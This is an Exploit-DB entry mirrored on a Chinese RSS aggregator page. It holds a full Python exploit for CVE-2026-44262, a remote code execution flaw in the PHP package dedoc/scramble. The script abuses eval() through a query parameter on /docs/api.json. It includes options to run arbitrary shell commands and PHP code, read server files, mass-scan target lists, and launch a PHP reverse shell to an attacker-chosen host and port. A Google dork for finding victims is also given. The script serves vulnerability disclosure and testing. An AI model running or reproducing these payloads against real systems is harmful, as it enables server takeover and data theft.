惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

C
CXSECURITY Database RSS Feed - CXSecurity.com
K
Kaspersky official blog
A
Arctic Wolf
Attack and Defense Labs
Attack and Defense Labs
L
LINUX DO - 热门话题
N
News | PayPal Newsroom
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
L
Lohrmann on Cybersecurity
PCI Perspectives
PCI Perspectives
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
The Last Watchdog
The Last Watchdog
B
Blog RSS Feed
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
W
WeLiveSecurity
Know Your Adversary
Know Your Adversary
博客园 - Franky
T
Tenable Blog
T
Tailwind CSS Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Help Net Security
Help Net Security
WordPress大学
WordPress大学
T
The Exploit Database - CXSecurity.com
www.infosecurity-magazine.com
www.infosecurity-magazine.com
博客园 - 司徒正美
阮一峰的网络日志
阮一峰的网络日志
D
Darknet – Hacking Tools, Hacker News & Cyber Security
H
Heimdal Security Blog
TaoSecurity Blog
TaoSecurity Blog
S
Security Affairs
J
Java Code Geeks
小众软件
小众软件
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Apple Machine Learning Research
Apple Machine Learning Research
NISL@THU
NISL@THU
O
OpenAI News
The Cloudflare Blog
月光博客
月光博客
Google Online Security Blog
Google Online Security Blog
V
V2EX
罗磊的独立博客
美团技术团队
博客园 - 三生石上(FineUI控件)
Security Latest
Security Latest
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
C
Cyber Attacks, Cyber Crime and Cyber Security
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
Cyberwarzone
Cyberwarzone
L
LINUX DO - 最新话题
Hacker News - Newest:
Hacker News - Newest: "LLM"
大猫的无限游戏
大猫的无限游戏

Exploit-DB.com RSS Feed

MEmu Android Emulator 9.2.7.0 - Local Privilege Escalation OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive OffSec’s Exploit Database Archive
OffSec’s Exploit Database Archive
joshua · 2026-05-27 · via Exploit-DB.com RSS Feed

scramble - Remote Code Execution

Platform:

PHP

Date:

2026-05-27



# Exploit Title: scramble - Remote Code Execution 
# Google Dork: inurl:/docs/api.json "dedoc/scramble"
# Date: 2026-05-07
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
# Vendor Homepage: https://scramble.dedoc.co
# Software Link: https://github.com/dedoc/scramble
# Version: >=0.13.2, <0.13.22
# Tested on: Linux 6.10.14-linuxkit (aarch64), macOS, Windows
# CVE: CVE-2026-44262
# Reference: https://github.com/joshuavanderpoll/CVE-2026-44262
# Advisory:  https://github.com/advisories/GHSA-4rm2-28vj-fj39
#
# Technique: extract() + eval() in NodeRulesEvaluator::doEvaluateExpression()
#            lets attacker overwrite Scramble's internal $code variable with
#            arbitrary PHP via a query parameter on /docs/api.json.

import argparse
import json
import re
import readline
import ssl
import sys
import time
import urllib.error
import urllib.parse
import urllib.request

DOCS_PATH = "/docs/api.json"
SLEEP_SECONDS = 4

PROOF_FILE_UNIX = "/tmp/scramble_rce_proof.txt"
PROOF_FILE_WIN  = "C:\\Windows\\Temp\\scramble_rce_proof.txt"

R = "\033[91m"
G = "\033[92m"
Y = "\033[93m"
C = "\033[96m"
P = "\033[95m"
B = "\033[1m"
X = "\033[0m"

REPO = "https://github.com/joshuavanderpoll/CVE-2026-44262"
DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +{REPO})"
DEFAULT_TIMEOUT = 15.0

_ua = DEFAULT_UA
_timeout = DEFAULT_TIMEOUT
_target_os = "unknown"

CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE


def print_banner():
    print(f"{P}{B}")
    print(r"   _____   _____   ___ __ ___  __     _ _  _ _ ___  __ ___ ")
    print(r"  / __\ \ / / __|_|_  )  \_  )/ / ___| | || | |_  )/ /|_  )")
    print(r" | (__ \ V /| _|___/ / () / // _ \___|_  _|_  _/ // _ \/ / ")
    print(r"  \___| \_/ |___| /___\__/___\___/     |_|  |_/___\___/___|")
    print(f"{X}")
    print(f"{P}{B}{REPO}{X}\n")


def fetch(url: str, timeout: float | None = None):
    req = urllib.request.Request(url, headers={"User-Agent": _ua})
    t = timeout if timeout is not None else _timeout

    try:
        with urllib.request.urlopen(req, context=CTX, timeout=t) as r:
            raw = r.headers
            headers = {k.lower(): v for k, v in raw.items()}
            # get_all handles duplicate Set-Cookie headers
            headers["set-cookie-list"] = raw.get_all("Set-Cookie") or []
            return r.status, r.read().decode(errors="replace"), headers
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), {}
    except urllib.error.URLError as e:
        return None, str(e.reason), {}


def info(msg):
    print(f"{Y}[*]{X} {msg}")


def ok(msg):
    print(f"{G}[+]{X} {msg}")


def err(msg):
    print(f"{R}[-]{X} {msg}")


def proc(msg):
    print(f"{C}[@]{X} {msg}")


def normalize_target(target: str) -> str:
    if not target.startswith(("http://", "https://")):
        target = "http://" + target
    return target.rstrip("/")


def print_cookie_findings(cookies: list[str]):
    for raw in cookies:
        name = raw.split("=")[0].strip()
        value_part = raw.split("=", 1)[1].split(";")[0].strip() if "=" in raw else ""

        if name.upper() == "XSRF-TOKEN":
            info(f"CSRF token (XSRF-TOKEN): {G}{value_part}{X}")
        elif "session" in name.lower():
            info(f"Session cookie '{name}': {G}{value_part}{X}")
        else:
            info(f"Cookie '{name}': {value_part}")


def check_accessible(base: str) -> bool:
    url = base + DOCS_PATH

    proc(f"Probing {url}")

    status, body, headers = fetch(url)

    if status is None:
        err(body)
        return False

    if status == 200 and '"paths"' in body:
        ok(f"HTTP {status} — docs accessible")

        if server := headers.get("server"):
            info(f"Server: {G}{server}{X}")

        if powered := headers.get("x-powered-by"):
            info(f"X-Powered-By: {G}{powered}{X}")

        if cookies := headers.get("set-cookie-list"):
            print_cookie_findings(cookies)

        return True

    err(f"HTTP {status} — not accessible or wrong target")
    return False


def analyze_spec(base: str) -> tuple[list[tuple[str, str]], str | None]:
    """
    Single spec fetch — prints all discovered target info.
    Returns (vuln_params, version).
    """
    _, body, _ = fetch(base + DOCS_PATH)

    vuln_hits = []
    version = None

    # Laravel rule keywords that'd never appear as legit query param defaults
    rule_pattern = re.compile(
        r"^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)", re.I
    )

    try:
        data = json.loads(body)
    except json.JSONDecodeError:
        return vuln_hits, version

    info_block = data.get("info", {})
    version = info_block.get("version")

    if title := info_block.get("title"):
        info(f"API title: {G}{title}{X}")

    if version:
        info(f"API version: {G}{version}{X}")

    if servers := data.get("servers"):
        for s in servers:
            info(f"Server URL: {G}{s.get('url', '?')}{X}")

    paths = data.get("paths", {})

    if paths:
        info(f"Endpoints discovered ({len(paths)}):")
        for path, methods in paths.items():
            method_list = ", ".join(m.upper() for m in methods)
            print(f"    {Y}{method_list}{X} {path}")

    for path, methods in paths.items():
        for method_data in methods.values():
            for param in method_data.get("parameters", []):
                if param.get("in") != "query":
                    continue

                schema = param.get("schema", {})
                default = str(schema.get("default", ""))

                if rule_pattern.match(default) or "|" in default:
                    vuln_hits.append((path, param["name"]))

    return vuln_hits, version


def build_attack_url(base: str, param: str, payload: str) -> str:
    return base + DOCS_PATH + "?" + urllib.parse.urlencode({param: payload})


def capture_output(base: str, param: str, payload: str) -> str | None:
    """
    Send a PHP payload and capture output from the response body.
    Output from print/echo appears before the JSON — everything before '{'.
    """
    _, body, _ = fetch(build_attack_url(base, param, payload))

    json_start = body.find("{")

    if json_start == -1:
        return body.strip() or None

    output = body[:json_start].strip()
    return output or None


def probe_timing(base: str, param: str) -> bool:
    proc(f"Timing probe — sleep({SLEEP_SECONDS}) via param '{param}'")

    t0 = time.monotonic()
    fetch(base + DOCS_PATH)
    baseline = time.monotonic() - t0
    info(f"Baseline: {baseline:.2f}s")

    attack_url = build_attack_url(base, param, f"sleep({SLEEP_SECONDS})")
    info(f"Payload URL: {attack_url}")

    t0 = time.monotonic()
    fetch(attack_url, timeout=SLEEP_SECONDS + _timeout)
    elapsed = time.monotonic() - t0
    delay = elapsed - baseline

    info(f"Attack response: {elapsed:.2f}s (delay: {delay:+.2f}s)")

    triggered = delay >= (SLEEP_SECONDS * 0.75)

    if triggered:
        ok(f"VULNERABLE — response delayed ~{SLEEP_SECONDS}s")
    else:
        err("Not triggered (no significant delay)")

    return triggered


def probe_exec(base: str, param: str) -> bool:
    proc(f"Command exec probe via param '{param}'")

    cmd = "whoami" if is_windows() else "id 2>&1"
    output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd)}))")

    if output:
        ok("VULNERABLE — command output captured:")
        print(f"\n  {B}{output}{X}\n")
        return True

    err("No command output in response (not vulnerable via this vector)")
    return False


def detect_os(base: str, param: str):
    global _target_os

    raw = capture_output(base, param, "print(php_uname('s'))")

    if not raw:
        return

    lower = raw.strip().lower()

    if "windows" in lower:
        _target_os = "windows"
    elif "linux" in lower:
        _target_os = "linux"
    elif "darwin" in lower:
        _target_os = "darwin"
    else:
        _target_os = raw.strip()

    info(f"Target OS: {G}{_target_os}{X}")


def is_windows() -> bool:
    return _target_os == "windows"


def proof_file() -> str:
    return PROOF_FILE_WIN if is_windows() else PROOF_FILE_UNIX


def shell_binary() -> str:
    return "cmd.exe" if is_windows() else "/bin/sh"


def print_output_block(output: str):
    print(f"\n{B}{'─' * 65}{X}")
    print(output)
    print(f"{B}{'─' * 65}{X}\n")


def run_command(base: str, param: str, cmd: str):
    proc(f"Executing: {cmd}")

    # 2>&1 merges stderr into stdout so errors show up in output
    cmd_with_stderr = cmd if "2>" in cmd else cmd + " 2>&1"
    output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd_with_stderr)}))")

    if output is not None:
        print_output_block(output)
    else:
        err("No output (command may have failed silently)")


def run_code(base: str, param: str, code: str):
    proc("Executing raw PHP code")

    # closure makes multi-statement code a single eval-able expression
    wrapped = f"(function(){{ {code} }})()"
    output = capture_output(base, param, wrapped)

    if output is not None:
        print_output_block(output)
    else:
        err("No output returned")


def run_read_file(base: str, param: str, path: str):
    proc(f"Reading file: {path}")

    output = capture_output(base, param, f"print(file_get_contents({json.dumps(path)}))")

    if output is not None:
        ok(f"Contents of {path}:")
        print_output_block(output)
    else:
        err("No output — file may not exist or not readable")


def run_reverse_shell(base: str, param: str, lhost: str, lport: int):
    """
    PHP eval-loop reverse shell — no bash or busybox required.
    Connects back to lhost:lport and executes PHP code sent over the socket.
    """
    info(f"Starting listener on your end:")
    print(f"\n    {B}nc -lvnp {lport}{X}\n")

    proc(f"Sending reverse shell payload to {lhost}:{lport}")

    shell = shell_binary()

    # proc_open pipes shell stdin/stdout/stderr directly to the socket
    payload = (
        f"(function(){{"
        f"$s=@fsockopen('{lhost}',{lport},$e,$m,30);"
        f"if(!$s)return;"
        f"$p=proc_open({json.dumps(shell)},array(0=>$s,1=>$s,2=>$s),$pipes);"
        f"if($p)proc_close($p);"
        f"fclose($s);"
        f"}})()"
    )

    # fire and forget — connection hangs until shell is done
    fetch(build_attack_url(base, param, payload), timeout=3600)


def run_check(base: str, skip_os_detect: bool = False):
    """Non-breaking check — timing probe only, no command execution."""
    if not check_accessible(base):
        err("Docs not accessible.")
        return False

    print()
    proc("Analyzing OpenAPI spec...")
    print()

    vuln_params, _ = analyze_spec(base)
    print()

    if not vuln_params:
        err("No vulnerable parameters detected in spec")
        return False

    ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
    for path, pname in vuln_params:
        print(f"    {Y}{path}{X} → param '{B}{pname}{X}'")

    print()

    _, param = vuln_params[0]

    if not skip_os_detect:
        detect_os(base, param)
    print()

    return probe_timing(base, param)


def print_header(base: str):
    print(f"\n{B}{'=' * 65}{X}")
    print(f"{B}  GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE checker{X}")
    print(f"  Target: {C}{base}{X}")
    print(f"{B}{'=' * 65}{X}\n")


def print_summary(base: str, param: str, timing: bool, exec_: bool):
    print(f"{B}{'=' * 65}{X}")
    print(f"{B}  SUMMARY{X}")
    print(f"{B}{'=' * 65}{X}")
    print(f"  Target:       {C}{base}{X}")
    print(f"  Vuln param:   {param}")
    print(f"  Timing probe: {'%sTRIGGERED%s' % (G, X) if timing else 'clean'}")
    print(f"  Exec probe:   {'%sTRIGGERED%s' % (G, X) if exec_ else 'clean'}")

    vulnerable = timing or exec_

    if vulnerable:
        print(f"\n  {R}{B}Verdict: *** VULNERABLE *** (RCE confirmed){X}")
        print(f"\n  {Y}Remediation:{X}")
        print(f"    {B}1. Patch (recommended){X}")
        print("       composer require dedoc/scramble:^0.13.22")
        print(f"    {B}2. Restrict docs access{X}")
        print("       Add RestrictedDocsAccess middleware in config/scramble.php:")
        print("       'middleware' => ['web', RestrictedDocsAccess::class]")
        print(f"    {B}3. Disable docs in production{X}")
        print("       Remove Scramble::routes() from AppServiceProvider or")
        print("       wrap registration in: if (app()->isLocal()) { ... }")
        print(f"    {B}4. Block at web server level{X}")
        print("       Deny access to /docs and /docs/api.json for external IPs")
        print()
        print(f"  {Y}⭐ If this tool helped you, consider starring the repo: {B}{Y}{REPO}{X}")
    else:
        print(f"\n  {G}Verdict: Not exploitable via this vector{X}")

    print(f"{B}{'=' * 65}{X}\n")

    return vulnerable


def main():
    global _ua, _timeout, _target_os

    parser = argparse.ArgumentParser(description="GHSA-4rm2-28vj-fj39 — dedoc/scramble RCE")

    target_group = parser.add_mutually_exclusive_group(required=True)
    target_group.add_argument("--target", help="Target URL")
    target_group.add_argument("--targets", metavar="FILE", help="File with one target URL per line")

    parser.add_argument("--check", action="store_true", help="Safe non-breaking check only (timing probe, no command execution)")
    parser.add_argument("--command", metavar="CMD", help="Execute a shell command and print output")
    parser.add_argument("--code", metavar="PHP", help="Execute raw PHP code and print output")
    parser.add_argument("--read-file", metavar="PATH", help="Read a file from the target filesystem")
    parser.add_argument("--shell", action="store_true", help="Start a PHP eval reverse shell (requires --lhost and --lport)")
    parser.add_argument("--lhost", metavar="HOST", help="Listener host for reverse shell")
    parser.add_argument("--lport", metavar="PORT", type=int, help="Listener port for reverse shell")
    parser.add_argument("--os", choices=["windows", "linux", "darwin"], metavar="OS",
                        help="Force target OS (windows/linux/darwin) — skips auto-detection. "
                             "Affects shell binary (cmd.exe vs /bin/sh), proof file path, and exec probe command.")
    parser.add_argument("--useragent", default=DEFAULT_UA, help="Custom User-Agent string")
    parser.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT, metavar="SECONDS", help="Request timeout in seconds (default: 15)")
    args = parser.parse_args()

    _ua = args.useragent
    _timeout = args.timeout

    if args.os:
        _target_os = args.os
        info(f"OS forced: {G}{_target_os}{X}")

    if args.shell and (not args.lhost or not args.lport):
        print(f"{R}[-]{X} --shell requires --lhost and --lport")
        sys.exit(1)

    print_banner()

    # bulk check mode
    if args.targets:
        try:
            with open(args.targets) as f:
                targets = [normalize_target(l.strip()) for l in f if l.strip()]
        except FileNotFoundError:
            err(f"Targets file not found: {args.targets}")
            sys.exit(1)

        results = []

        for target in targets:
            print_header(target)
            vulnerable = run_check(target, skip_os_detect=bool(args.os))
            results.append((target, vulnerable))
            print()

        print(f"{B}{'=' * 65}{X}")
        print(f"{B}  BULK SCAN RESULTS{X}")
        print(f"{B}{'=' * 65}{X}")

        for target, vuln in results:
            status = f"{R}{B}VULNERABLE{X}" if vuln else f"{G}clean{X}"
            print(f"  {status}  {target}")

        print(f"{B}{'=' * 65}{X}\n")
        sys.exit(0)

    base = normalize_target(args.target)

    print_header(base)

    # safe check mode — no exploit
    if args.check:
        vulnerable = run_check(base, skip_os_detect=bool(args.os))
        sys.exit(1 if vulnerable else 0)

    # full detection + exploit path
    if not check_accessible(base):
        err("Docs not accessible — cannot continue.")
        sys.exit(0)

    print()
    proc("Analyzing OpenAPI spec...")
    print()

    vuln_params, _ = analyze_spec(base)
    print()

    if not vuln_params:
        err("No vulnerable parameters detected in spec")
        sys.exit(0)

    ok(f"Found {len(vuln_params)} potentially vulnerable parameter(s):")
    for path, pname in vuln_params:
        print(f"    {Y}{path}{X} → param '{B}{pname}{X}'")

    print()

    _, param = vuln_params[0]

    if not args.os:
        detect_os(base, param)
    print()

    if args.command:
        run_command(base, param, args.command)
        sys.exit(0)

    if args.code:
        run_code(base, param, args.code)
        sys.exit(0)

    if args.read_file:
        run_read_file(base, param, args.read_file)
        sys.exit(0)

    if args.shell:
        run_reverse_shell(base, param, args.lhost, args.lport)
        sys.exit(0)

    # default — full detection probes
    timing_result = probe_timing(base, param)
    print()
    exec_result = probe_exec(base, param)
    print()

    vulnerable = print_summary(base, param, timing_result, exec_result)
    sys.exit(1 if vulnerable else 0)


if __name__ == "__main__":
    main()